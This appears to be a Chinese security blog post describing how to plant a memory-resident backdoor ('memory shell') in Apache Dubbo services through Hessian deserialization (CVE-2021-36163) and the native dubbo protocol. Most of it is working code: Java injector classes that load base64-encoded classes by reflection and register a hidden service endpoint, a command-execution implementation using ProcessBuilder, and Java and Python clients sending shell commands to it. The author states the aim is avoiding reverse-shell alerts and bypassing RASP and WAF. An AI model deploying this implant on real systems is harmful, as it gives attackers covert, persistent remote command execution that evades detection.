dubbo中使用hessian_http/dubbo协议注入内存马

日期: 2021-10-05 更新: 2021-10-05 分类: 渗透测试

学习源码顺便玩玩内存马加深印象,比如某些环境不想触发反弹shell触发告警可以写入内存马方便快速操作(命令执行,文件管理,绕rasp,waf等)

漏洞测试环境:

https://securitylab.github.com/advisories/GHSL-2021-094-096-apache-dubbo/

dubbo使用hessian协议对外暴露服务时触发反序列化漏洞
Issue 2: Unsafe deserialization in providers using the Hessian protocol (CVE-2021-36163/GHSL-2021-095)

代码环境:

https://github.com/apache/dubbo-samples
dubbo-sample-http

基于CVE-2021-36163,http over hessian

http-provider.xml 配置:

1
2
3
4
5
6
7
<dubbo:registry address="zookeeper://${zookeeper.address:127.0.0.1}:2181"/>
<!-- 设置jetty或者tomcat服务器都可 -->
<dubbo:protocol name="hessian" port="8085" server="jetty" />

<bean id="demoService" class="org.apache.dubbo.samples.http.impl.DemoServiceImpl"/>

<dubbo:service interface="org.apache.dubbo.samples.http.api.DemoService" ref="demoService" protocol="hessian"/>

内存马前置知识

注入内存马无非就是修改关键变量中添加恶意的路由和对应的服务映射,所以一步步回溯寻找可修改关键变量的点是最主要的。

dubbo SPI

https://blog.csdn.net/top_code/article/details/51934459

dubbo中获取各种对象很多场景使用SPI(service provider interface) ,spi核心的作用就是解耦代码。用户直接调用接口即可直接调用实现代码,调用的最终实现从配置,远程等方式读取。

单从上面链接中的例子看不出此模式的优势,举个栗子:比如某场景调用信息模块只需要调用接口代码即可获取信息,后端通过服务发现,webservice服务(Eureka,Feign)会将请求转发到其他模块执行,这样就完全进行了代码解耦。

dubbo中到处都用到了SPI的调用方式,也对jdk原生的spi模式进行了优化,dubbo的扩展机制是dubbo实现扩展各种协议和各种反序列化方法的基础:
https://dubbo.apache.org/zh/docsv2.7/dev/source/dubbo-spi/

扩展加载器特点:

dubbo会将所有待被使用的扩展均缓存然后按需调用,所以代码中会经常看到如下类似代码:

  • 从接口加载指定名称实例:

    #getExtension

1
ExtensionLoader.getExtensionLoader(Protocol.class).getExtension("hessian")
  • 自适应(adaptive)

决定要注入的目标扩展。 目标扩展的名称由 URL 中传递的参数决定,参数名称由该方法给出。
Decide which target extension to be injected. The name of the target extension is decided by the parameter passed in the URL, and the parameter names are given by this method.

比如接口Protocol中export和refer就存在@Adaptive注解,可以根据url设置的协议动态选择协议:

dubbo:// hessian:// rmi://,

@SPI(“dubbo”)默认为dubboProtocol协议:

@adaptive

1
ExtensionLoader.getExtensionLoader(Protocol.class).getAdaptiveExtension()
  • 自激活(active)
    内存马无需用到这部分知识,忽略。

内存马注入

通过断点发现 org.apache.dubbo.rpc.protocol.hessian.HessianProtocol.HessianHandler#handle:
skeletonMap中存在路由和调用方法对应关系,所以寻找可以修改skeletonMap参数的点即可:

skeletonMap.put下断点一路回溯看是否存在静态对象可获取最终修改skeletonMap:

最终发现dubbo通过PROTOCOL对象进行export方法调用最终会触发修改skeletonMap,此时可以看出PROTOCOL是通过spi方式调用接口获取的自适应扩展:

1
private static final Protocol PROTOCOL = (Protocol)ExtensionLoader.getExtensionLoader(Protocol.class).getAdaptiveExtension();

参考以下代码:
org/apache/dubbo/dubbo/2.7.10/dubbo-2.7.10.jar!/org/apache/dubbo/config/ServiceConfig.class:424

1
2
3
4
Invoker<?> invoker = PROXY_FACTORY.getInvoker(this.ref, this.interfaceClass, registryURL.addParameterAndEncoded("export", url.toFullString()));
DelegateProviderMetaDataInvoker wrapperInvoker = new DelegateProviderMetaDataInvoker(invoker, this);
Exporter<?> exporter = PROTOCOL.export(wrapperInvoker);
this.exporters.add(exporter);
  • jndi反序列化时代码,将接口和实现类base64编码通过defineClass加载,最终export:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import org.apache.dubbo.common.URL;
import org.apache.dubbo.common.bytecode.Proxy;
import org.apache.dubbo.common.extension.ExtensionLoader;
import org.apache.dubbo.common.utils.ClassUtils;
import org.apache.dubbo.rpc.Invoker;
import org.apache.dubbo.rpc.Protocol;
import org.apache.dubbo.rpc.ProxyFactory;

public class MemInject {

public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}

public MemInject() {
try {
// 获取hessianProtocol对象
Protocol protocolObj = ExtensionLoader.getExtensionLoader(Protocol.class).getExtension("hessian");

// 创建路由规则 x.x.x.x:8085/sb
URL url = new URL("hessian", "0.0.0.0", 8085, "sb");

// 获取ProxyFactory对象最终需要生成invoker对象
ProxyFactory proxyFactoryObj = ExtensionLoader.getExtensionLoader(ProxyFactory.class).getAdaptiveExtension();

// 恶意类,接口加载
java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class});
defineClassMethod.setAccessible(true);

// 替换为base64编码的类和接口字符串
String extendServiceStr = "[extendService_interface_code]";
String extendServiceImpl = "[extendServiceImpl_code]";

// 生成字节码
byte[] extServiceBytes = base64Decode(extendServiceStr);
byte[] extServiceImplBytes = base64Decode(extendServiceImpl);

// 使用dubbo原生获取classloader方法,由于dubbo中使用代理类会出现同时加载一个类,如果使用不同类加载器则会抛出错误
ClassLoader proxyClassLoader = ClassUtils.getClassLoader(Proxy.class);

Class extServiceClazz = (Class) defineClassMethod.invoke(proxyClassLoader, new Object[]{extServiceBytes, new Integer(0), new Integer(extServiceBytes.length)});
Class extServiceImplClazz = (Class) defineClassMethod.invoke(proxyClassLoader, new Object[]{extServiceImplBytes, new Integer(0), new Integer(extServiceImplBytes.length)});

Invoker evilInvoker = proxyFactoryObj.getInvoker(extServiceImplClazz.newInstance(), extServiceClazz, url);

protocolObj.export(evilInvoker);
} catch (Exception e) {
e.printStackTrace();
}
}
}

恶意接口和实现类:

  • DemoService:
1
2
3
public interface DemoService {
String cmd(String c);
}
  • DemoServiceImpl:
1
2
3
4
5
6
7
8
9
10
11
12
13
public class DemoServiceImpl implements DemoService {
@Override
public String cmd(String c) {
String result = null;
try {
String[] cmd = System.getProperty("os.name").toLowerCase().contains("windows") ? new String[]{"cmd.exe", "/c", c} : new String[]{"/bin/sh", "-c", c};
result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next();
} catch (Exception e) {
result = e.getMessage();
}
return result;
}
}

客户端调用之前设置的接口方法,即可触发注入的内存马:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import com.caucho.hessian.client.HessianProxyFactory;

public class HessianRequest {
public static String urlName = "http://127.0.0.1:8085/sb";

public static void main(String[] args) throws MalformedURLException {
HessianProxyFactory factory = new HessianProxyFactory();
// 开启方法重载
factory.setOverloadEnabled(true);

HelloHessian helloHession = (HelloHessian) factory.create(
HelloHessian.class, urlName);

String result = helloHession.cmd("ifconfig");
System.out.println(result);
}
}

dubbo原生协议注入内存马

dubbo版本小于 2.7.6

dubbo provider.xml

1
<dubbo:protocol name="dubbo" port="20880" host="127.0.0.1"/>

20880端口反序列化注入同理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89

import org.apache.dubbo.common.URL;
import org.apache.dubbo.common.bytecode.ClassGenerator;
import org.apache.dubbo.common.extension.ExtensionLoader;
import org.apache.dubbo.common.utils.ClassUtils;
import org.apache.dubbo.rpc.Exporter;
import org.apache.dubbo.rpc.Invoker;
import org.apache.dubbo.rpc.Protocol;
import org.apache.dubbo.rpc.ProxyFactory;
import org.apache.dubbo.rpc.protocol.dubbo.DubboExporter;
import org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Map;

public class MemInjectDubbo {

public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}

public MemInjectDubbo() {
try {
// 由于代理类中存在wrapper所以getExtension获取的为QosWrapperProcotol,此时需要获取内部filed中被嵌套的真实dubboProtocol
Protocol protocolObj = ExtensionLoader.getExtensionLoader(Protocol.class).getExtension("dubbo");
// 设置查询DubboProtocol次数,超过4次则跳出,避免无限查询
int i = 4;
do {
i--;
try {
Field protocolField = protocolObj.getClass().getDeclaredField("protocol");
protocolField.setAccessible(true);
protocolObj = (Protocol) protocolField.get(protocolObj);
} catch (Exception e) {
;
}
} while (protocolObj.getClass() != DubboProtocol.class || i < 0);

// 设置端口和调用类名
URL dubboURL = new URL("dubbo", "0.0.0.0", 20880, "x.extendService");

// 获取jdk原生ProxyFactory, 避免其他扩展其他代码干扰比如javassistProxyFactory会在生成代码时干扰代码逻辑
ProxyFactory proxyFactoryObj = ExtensionLoader.getExtensionLoader(ProxyFactory.class).getExtension("jdk");

java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class});
defineClassMethod.setAccessible(true);

// 替换为自己想注入的类
String extendServiceStr = "[base64_classbytes]";
String extendServiceImpl = "[base64_classbytes]";

byte[] extServiceBytes = base64Decode(extendServiceStr);
byte[] extServiceImplBytes = base64Decode(extendServiceImpl);

ClassLoader proxyClassLoader = ClassUtils.getClassLoader(ClassGenerator.class);

Class extServiceClazz = (Class) defineClassMethod.invoke(proxyClassLoader, new Object[]{extServiceBytes, new Integer(0), new Integer(extServiceBytes.length)});
Class extServiceImplClazz = (Class) defineClassMethod.invoke(proxyClassLoader, new Object[]{extServiceImplBytes, new Integer(0), new Integer(extServiceImplBytes.length)});

Invoker<?> invoker = proxyFactoryObj.getInvoker(extServiceImplClazz.newInstance(), extServiceClazz, dubboURL);

URL url = invoker.getUrl();

// export service. org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol.export
// dubboProtocol#export方法中将暴露接口和启动服务写在同一个函数,没预想到动态加载接口,所以这里不直接调用export而是抽取部分export代码反射修改exporterMap添加恶意对象映射关系
Field exporterMapField = protocolObj.getClass().getSuperclass().getDeclaredField("exporterMap");
exporterMapField.setAccessible(true);
Map<String, Exporter<?>> exporterMap = (Map<String, Exporter<?>>) exporterMapField.get(protocolObj);

Method serviceKeyMethod = protocolObj.getClass().getSuperclass().getDeclaredMethod("serviceKey", URL.class);
serviceKeyMethod.setAccessible(true);
String key = (String) serviceKeyMethod.invoke(protocolObj, url);

DubboExporter exporter = new DubboExporter(invoker, key, exporterMap);
exporterMap.put(key, exporter);


} catch (Exception e) {
e.printStackTrace();
}
}
}

客户端调用即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

from dubbo.codec.hessian2 import new_object
from dubbo.client import DubboClient
from dubbo.java_class import JavaString

client = DubboClient('127.0.0.1', 20880)
# 构造一个Java Object为com.demo.test的参数


resp = client.send_request_and_return_response(
service_name='x.extendService',service_version="",
method_name='cmd',
args=[JavaString("open -na calculator")])

print(resp)

部分疑问

  1. http over hessian内存马,为啥不直接注入jetty filter或者servlet马?
    目前使用网上jetty内存马无法在dubbo中找到org.eclipse.jetty.webapp:type=webappcontext对象

随便写写,抛砖引玉,如有错误请联系。